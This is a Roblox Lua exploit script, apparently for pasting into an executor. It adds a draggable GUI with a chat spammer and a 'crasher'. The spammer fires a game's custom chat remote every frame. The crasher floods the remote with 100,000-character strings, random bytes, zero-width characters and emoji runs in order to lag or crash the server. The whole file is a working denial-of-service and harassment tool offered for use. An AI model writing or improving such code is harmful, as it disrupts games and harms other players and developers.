-- you can paste this script e.t.c -- fakeChat spammer + crasher (forever v1) -- made by ai and sillyPP with love :)) local players = game:GetService("Players") local player = players.LocalPlayer local playerGui = player:WaitForChild("PlayerGui") local function disableBubbleChat(character) if character then local humanoid = character:WaitForChild("Humanoid", 5) if humanoid then pcall(function() humanoid:SetBubbleChatEnabled(false) end) end end end -- thing down and up here is useless bc fakechat using own fake bubblechat system :( -- and i thought it will be LESS lags when you use crasher if player.Character then disableBubbleChat(player.Character) end player.CharacterAdded:Connect(disableBubbleChat) local screenGui = Instance.new("ScreenGui") screenGui.Name = "somethin test v1" screenGui.ResetOnSpawn = false local mainFrame = Instance.new("Frame") mainFrame.Name = "main" mainFrame.Size = UDim2.new(0, 320, 0, 280) mainFrame.Position = UDim2.new(0.5, -160, 0.5, -140) mainFrame.BackgroundColor3 = Color3.fromRGB(40, 40, 40) mainFrame.BorderSizePixel = 0 mainFrame.Active = true mainFrame.Draggable = true local title = Instance.new("TextLabel") title.Name = "title" title.Size = UDim2.new(1, 0, 0, 30) title.Position = UDim2.new(0, 0, 0, 0) title.BackgroundColor3 = Color3.fromRGB(30, 30, 30) title.TextColor3 = Color3.fromRGB(220, 220, 220) title.Text = "somethin test v1" title.Font = Enum.Font.Gotham title.TextSize = 14 local inputBox = Instance.new("TextBox") inputBox.Name = "input" inputBox.Size = UDim2.new(0.9, 0, 0, 40) inputBox.Position = UDim2.new(0.05, 0, 0.15, 0) inputBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50) inputBox.TextColor3 = Color3.fromRGB(240, 240, 240) inputBox.PlaceholderText = "message" inputBox.Font = Enum.Font.Gotham inputBox.TextSize = 14 inputBox.Text = "" local toggleButton = Instance.new("TextButton") toggleButton.Name = "toggle" toggleButton.Size = UDim2.new(0.6, 0, 0, 30) toggleButton.Position = UDim2.new(0.2, 0, 0.35, 0) toggleButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60) toggleButton.TextColor3 = Color3.fromRGB(240, 240, 240) toggleButton.Font = Enum.Font.Gotham toggleButton.TextSize = 14 toggleButton.Text = "let's go" local singleButton = Instance.new("TextButton") singleButton.Name = "single" singleButton.Size = UDim2.new(0.6, 0, 0, 30) singleButton.Position = UDim2.new(0.2, 0, 0.5, 0) singleButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60) singleButton.TextColor3 = Color3.fromRGB(240, 240, 240) singleButton.Font = Enum.Font.Gotham singleButton.TextSize = 14 singleButton.Text = "send text" local crashButton = Instance.new("TextButton") crashButton.Name = "crash" crashButton.Size = UDim2.new(0.6, 0, 0, 30) crashButton.Position = UDim2.new(0.2, 0, 0.65, 0) crashButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60) crashButton.TextColor3 = Color3.fromRGB(240, 240, 240) crashButton.Font = Enum.Font.Gotham crashButton.TextSize = 14 crashButton.Text = "crasher" local counterLabel = Instance.new("TextLabel") counterLabel.Name = "counter" counterLabel.Size = UDim2.new(0.8, 0, 0, 25) counterLabel.Position = UDim2.new(0.1, 0, 0.8, 0) counterLabel.BackgroundTransparency = 1 counterLabel.TextColor3 = Color3.fromRGB(200, 200, 200) counterLabel.Font = Enum.Font.Gotham counterLabel.TextSize = 14 counterLabel.Text = "sent: 0" local resetButton = Instance.new("TextButton") resetButton.Name = "reset" resetButton.Size = UDim2.new(0.6, 0, 0, 30) resetButton.Position = UDim2.new(0.2, 0, 0.9, 0) resetButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60) resetButton.TextColor3 = Color3.fromRGB(240, 240, 240) resetButton.Font = Enum.Font.Gotham resetButton.TextSize = 14 resetButton.Text = "clear" title.Parent = mainFrame inputBox.Parent = mainFrame toggleButton.Parent = mainFrame singleButton.Parent = mainFrame crashButton.Parent = mainFrame counterLabel.Parent = mainFrame resetButton.Parent = mainFrame mainFrame.Parent = screenGui screenGui.Parent = playerGui local remote = game:GetService("ReplicatedStorage"):WaitForChild("CustomChat"):WaitForChild("Remotes"):WaitForChild("SendChatMessage") local messageText = game:GetService("ReplicatedStorage"):WaitForChild("CustomChat"):WaitForChild("Guis"):WaitForChild("MessageText") local spamming = false local crashing = false local connection local crashConnection local sentCount = 0 local function sendMessage() if inputBox.Text ~= "" then remote:FireServer(inputBox.Text) messageText.Value = inputBox.Text sentCount = sentCount + 1 counterLabel.Text = "sent: " .. tostring(sentCount) end end local function generateCrashMessage() local messages = { string.rep("█", 10000), string.rep("🆘", 5000), string.rep("\n", 2000) .. string.rep("CRASH", 500), string.rep(string.char(math.random(1, 255)), 10000), string.rep("​", 10000), string.rep("a", 10000), string.rep("🚫" .. "⚠️" .. "💥", 2000), string.rep("😈", 4000), string.rep("𐀀", 8000), string.rep("a\r\nb", 3000) } local combined = "" for i = 1, 5 do combined = combined .. messages[math.random(1, #messages)] end return combined end local function generateSpecialChars() local special = "" for i = 1, 1000 do special = special .. string.char(math.random(128, 255)) end return special end toggleButton.MouseButton1Click:Connect(function() spamming = not spamming if spamming then toggleButton.BackgroundColor3 = Color3.fromRGB(80, 40, 40) toggleButton.Text = "stop" connection = game:GetService("RunService").Heartbeat:Connect(function() sendMessage() end) else toggleButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60) toggleButton.Text = "let's go" if connection then connection:Disconnect() connection = nil end end end) singleButton.MouseButton1Click:Connect(function() sendMessage() end) crashButton.MouseButton1Click:Connect(function() crashing = not crashing if crashing then crashButton.BackgroundColor3 = Color3.fromRGB(80, 40, 40) crashButton.Text = "stop crasher" crashConnection = game:GetService("RunService").Heartbeat:Connect(function() for i = 1, 10 do local crashMessage = generateCrashMessage() remote:FireServer(crashMessage) messageText.Value = crashMessage sentCount = sentCount + 1 counterLabel.Text = "sent: " .. tostring(sentCount) local specialMessage = generateSpecialChars() remote:FireServer(specialMessage) messageText.Value = specialMessage sentCount = sentCount + 1 counterLabel.Text = "sent: " .. tostring(sentCount) local maxLengthMessage = string.rep("X", 100000) remote:FireServer(maxLengthMessage) messageText.Value = maxLengthMessage sentCount = sentCount + 1 counterLabel.Text = "sent: " .. tostring(sentCount) end end) else crashButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60) crashButton.Text = "crasher" if crashConnection then crashConnection:Disconnect() crashConnection = nil end end end) resetButton.MouseButton1Click:Connect(function() sentCount = 0 counterLabel.Text = "sent: 0" end) local closeButton = Instance.new("TextButton") closeButton.Name = "close" closeButton.Size = UDim2.new(0, 20, 0, 20) closeButton.Position = UDim2.new(1, -25, 0, 5) closeButton.BackgroundColor3 = Color3.fromRGB(200, 50, 50) closeButton.TextColor3 = Color3.fromRGB(240, 240, 240) closeButton.Font = Enum.Font.Gotham closeButton.TextSize = 12 closeButton.Text = "X" closeButton.Parent = mainFrame closeButton.MouseButton1Click:Connect(function() screenGui:Destroy() end)